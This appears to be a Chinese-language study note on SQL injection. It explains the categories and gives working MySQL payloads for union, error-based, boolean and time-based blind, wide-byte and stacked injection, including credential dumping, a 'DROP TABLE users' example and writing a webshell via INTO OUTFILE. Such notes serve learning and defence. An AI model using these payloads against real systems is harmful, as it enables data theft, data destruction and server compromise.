SQL注入(1)
1.原理用户将恶意SQL语句的参数拼接到动态SQL语句后端没有进行校验然后在数据库中执行。2.分类联合查询注入报错注入宽字节注入二次注入DNSlog注入请求头注入3.1)联合注入查询union通过union拼接查询语句获得大量信息让数据库同时返回原数据 你想要的数据。前提页面会把查询结果直接展示出来有回显通用步骤判断字段数列数先猜当前查询有几列 ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- ...直到报错就知道列数。判断回显位哪一列会显示在页面用 UNION SELECT 看哪些数字会被打印 UNION SELECT 1,2,3--页面出现 2说明第 2 列是回显位。查库名、版本、用户 UNION SELECT 1,database(),version()--查表名 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()--查字段名 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers--查数据账号密码 UNION SELECT 1,group_concat(username,password),3 FROM users--2)报错注入让 MySQL 执行过程中故意出错并把查询结果当成错误信息吐出来。所以 payload 必须同时满足两件事能触发报错函数让数据库抛异常报错时把我们要的数据带出来经典payload结构1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT 要查的东西),FLOOR(RAND()*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --简化1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1) --3)布尔盲注页面不返回数据、也不报错只能看到 “对 / 错” 两种结果时用布尔盲注一位一位猜解出数据。典型payload结构1 and substr(database(),1,1)a --常见变种payload作用用 ASCII 码范围判断更快猜字母1 and ascii(substr(database(),1,1))100 --作用先猜数据库名长度是几位1 and length(database())5 --4时间盲注页面既不显示数据也不报错连对错都看不出时靠让数据库 “卡一下” 来判断真假。猜对了 → 让数据库sleep 延迟几秒猜错了 → 数据库立刻返回典型payload结构1 and if(substr(database(),1,1)a,sleep(5),0) --sleep函数被禁用不一定非要 sleep(5)只要能故意拖慢数据库就行。BENCHMARK1 and if(条件, BENCHMARK(10000000,MD5(1)), 0) --作用让 MySQL 重复执行 MD5 (1) 一千万次强行卡几秒。笛卡尔积耗查询无函数版1 and if(条件, (SELECT count(*) FROM information_schema.tables A,information_schema.tables B), 0) --作用大表联表查询数据量爆炸页面明显变慢。GET_LOCK 锁表延时1 and if(条件, GET_LOCK(abc,3), 0) --作用申请一个锁等待 3 秒实现延时。运算延时1 and if(条件, SHA1(sha1(sha1(1))), 0) --多层嵌套加密也能轻微延时。5)宽字节注入绕过 PHP 的 addslashes / 转义把防御加的反斜杠 \ 吃掉从而闭合单引号。前提数据库编码是 GBK / GB2312原理PHP 加的反斜杠是%5c你输入一个字符%df组合起来%df%5c在 GBK 里%df%5c 会被当成一个汉字 “運”典型payload结构1%df union select 1,2#6堆叠注入一次性执行多条 SQL 语句正常注入只能在原语句里拼接逻辑and /or/union。堆叠注入可以用结束当前语句再写一条全新的 SQL 一起执行。例1; DROP TABLE users; -- 1; SHOW DATABASES; --典型payload结构1; payload; --新 SQL 语句可以是任意操作show databases;show tables;select * from users;load_file(/flag);into outfile... 写马堆叠注入能干什么查库、查表、查字段读取服务器文件load_file写入 webshellinto outfile创建用户、赋权限删除表drop